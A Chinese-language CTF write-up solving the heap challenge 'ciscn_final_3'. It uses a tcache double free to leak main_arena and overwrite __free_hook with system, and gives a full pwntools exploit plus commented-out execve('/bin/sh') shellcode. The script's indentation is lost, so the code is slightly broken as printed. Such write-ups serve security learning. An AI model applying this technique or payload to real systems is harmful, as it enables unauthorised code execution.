-
首先拿到题之后检查防护情况
果然。。全开,无GOT可改,优先考虑__free_hook和__malloc_hook
-
查看程序功能发现漏洞点
两个简单功能,增删,没有打印(心开始发凉
add功能无漏洞点,每次分配后打印分配的地址,但注意size大小限制,不能进入unsorted bin(一般思路:堆地址需要unsorted泄露找到main_arean地址,继而根据相对偏移找到__free_hook地址
remove功能发现double free,环境为ubuntu 18,有tcache机制,构造更加方便
好了,现在总结以下可利用的点:
- 堆地址泄露
- double free(tcache 更是可以指向任意地址
解题关键在于将下一次空闲tcache的fd指向哪一块区域,继而malloc获取该地址
还是要从堆地址入手!!
查看运行时堆情况,在我们自己申请的堆上面有两个大的堆块(C++cin/cout的堆?
上面两个free会进入unsorted bin,所以大概思路是
- 构造第一次 dub free,使第三次申请会申请到0x8403250
- 申请到0x8403250后释放,会进入unsorted bin,构造第二次dub free泄露main_arean地址(地址为0x8403250的chunk进入unsorted bin后fd与main_arean相关,第四次申请得到main_arean+56地址
- 根据偏移得到__free_hook地址,更改为system,free一个内容为"/bin/sh\x00"的堆块,触发
坑:本来打算__free_hook劫持到堆上构造的shellcode,不使用给的libc库,不通。。
需要vmmap查看heap执行权限
完整exp:
from pwn import *
#context.log_level = 'debug'
sh = process('./ciscn_final_3')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux',arch='amd64')
def add(index, size, content):
sh.sendline('1')
sh.sendlineafter('index', str(index))
sh.sendlineafter('size', str(size))
sh.sendlineafter('thing', content)
sh.recvuntil('gift :')
return int(sh.recv(14), 16)
def remove(index):
sh.sendline('2')
sh.sendlineafter('index', str(index))
sh.recvuntil('choice >')
#sc='\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'
#sc = asm(
'''
xor rdi,rdi
push rdi
push rdi
pop rsi
pop rdx
mov rdi,0x68732f6e69622f2f
shr rdi,0x08
push rdi
push rsp
pop rdi
push 0x3b
pop rax
syscall
'''
sh_addr = add(0 ,0x56, "/bin/sh\x00")
log.success("sh_addr: "+hex(sh_addr))
cout_addr = sh_addr-0x11c10
log.success("cout_heap: "+hex(cout_addr))
add(1, 0x10, 'a')
remove(1)
remove(1)
add(2,0x10,p64(cout_addr))
add(3,0x10,'a')
add(4,0x10, 'chunk')
add(5,0x20,'a')
remove(4)
remove(5)
remove(5)
add(6,0x20,p64(cout_addr))
add(7,0x20,'a')
add(8,0x20,'a')
main_area = add(9,0x20,'main_area')
free_hook = main_area+0x1c48
log.success("main_area: "+hex(main_area))
log.success("free_hook: "+hex(free_hook))
system_addr=free_hook-libc.sym['__free_hook']+libc.sym['system']
log.success("system: "+hex(system_addr))
add(10,0x30,'10')
remove(10)
remove(10)
add(11,0x30,p64(free_hook))
add(12,0x30,'12')
add(13,0x30,p64(system_addr))
remove(0)
#gdb.attach(sh)
sh.interactive()